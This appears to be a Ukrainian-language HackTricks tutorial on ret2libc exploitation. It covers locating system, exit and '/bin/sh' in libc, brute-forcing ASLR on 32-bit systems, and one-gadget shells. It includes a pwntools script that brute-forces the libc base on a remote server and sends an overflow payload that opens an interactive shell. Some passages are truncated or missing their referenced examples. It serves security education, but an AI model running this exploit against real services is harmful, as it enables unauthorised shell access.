Ret2lib

Підтримайте HackTricks

Основна інформація

Суть Ret2Libc полягає в перенаправленні потоку виконання вразливої програми на функцію у спільній бібліотеці (наприклад, system, execve, strcpy), замість виконання шелл-коду, наданого зловмисником на стеку. Зловмисник створює навантаження, яке змінює адресу повернення на стеку, щоб вказати на потрібну функцію бібліотеки, а також організовує необхідні аргументи відповідно до конвенції виклику.

Приклад кроків (спрощено)

  • Отримайте адресу функції, яку потрібно викликати (наприклад, system), та команду для виклику (наприклад, /bin/sh)

  • Створіть ланцюжок ROP для передачі першого аргументу, що вказує на рядок команди, та потоку виконання до функції

Пошук адрес

  • Припускаючи, що libc, яка використовується, є тією, що на поточній машині, ви можете знайти, де вона буде завантажена в пам'ять за допомогою:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Якщо ви хочете перевірити, чи змінює ASLR адресу libc, ви можете виконати:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Знаючи використану бібліотеку libc, також можливо знайти зміщення до функції system за допомогою:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Знаючи використану бібліотеку libc, також можливо знайти зміщення до функції рядка /bin/sh за допомогою:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Використання gdb-peda / GEF

Знаючи використану бібліотеку libc, також можна використовувати Peda або GEF, щоб отримати адресу функції system, функції exit та рядка /bin/sh :

p system
p exit
find "/bin/sh"

Використання /proc/<PID>/maps

Якщо процес створює дочірні процеси кожен раз, коли ви з ним розмовляєте (мережевий сервер), спробуйте прочитати цей файл (ймовірно, вам знадобиться права root).

Тут ви можете знайти точне місце завантаження libc всередині процесу та де буде завантажено для кожного дочірнього процесу цього процесу.

У цьому випадку він завантажений за адресою 0xb75dc000 (це буде базова адреса libc)

Невідома бібліотека libc

Можливо, ви не знаєте, яку бібліотеку libc завантажує виконуваний файл (оскільки він може знаходитися на сервері, до якого у вас немає доступу). У цьому випадку ви можете скористатися вразливістю для витоку деяких адрес та визначення, яка бібліотека libc використовується:

Також ви можете знайти шаблон pwntools для цього в:

Відома бібліотека libc з 2 зміщеннями

Перевірте сторінку https://libc.blukat.me/ та скористайтеся парою адрес функцій всередині libc, щоб дізнатися використану версію.

Обхід ASLR у 32-бітних системах

Ці атаки на основі перебору корисні лише для 32-бітних систем.

  • Якщо експлойт локальний, ви можете спробувати перебрати базову адресу libc (корисно для 32-бітних систем):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Якщо ви атакуєте віддалений сервер, ви можете спробувати перебрати адресу функції usleep у libc, передаючи як аргумент 10 (наприклад). Якщо в якийсь момент сервер витрачає додаткові 10 секунд на відповідь, ви знайшли адресу цієї функції.

Один Гаджет

Виконайте оболонку, просто перейшовши до однієї конкретної адреси у libc:

Приклад коду x86 Ret2lib

У цьому прикладі ASLR brute-force інтегрований у код, а вразливий бінарний файл розташований на віддаленому сервері:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Приклад коду x64 Ret2lib

Перевірте приклад з:

Приклад ARM64 Ret2lib

У випадку ARM64, інструкція ret переходить туди, куди вказує реєстр x30, а не туди, куди вказує реєстр стеку. Тому це трохи складніше.

Також в ARM64 інструкція робить те, що робить інструкція (неможливо перейти посеред інструкцій і перетворити їх на нові).

Перевірте приклад з:

Ret-into-printf (або puts)

Це дозволяє витік інформації з процесу, викликаючи printf/puts з певними даними, розміщеними як аргумент. Наприклад, розміщення адреси puts в GOT у виклику puts дозволить витік адреси puts в пам'яті.

Ret2printf

Це в основному означає зловживання Ret2lib для перетворення його в уразливість рядків формату printf, використовуючи ret2lib для виклику printf зі значеннями для експлуатації (здається непотрібним, але можливим):

Інші Приклади та посилання

Last updated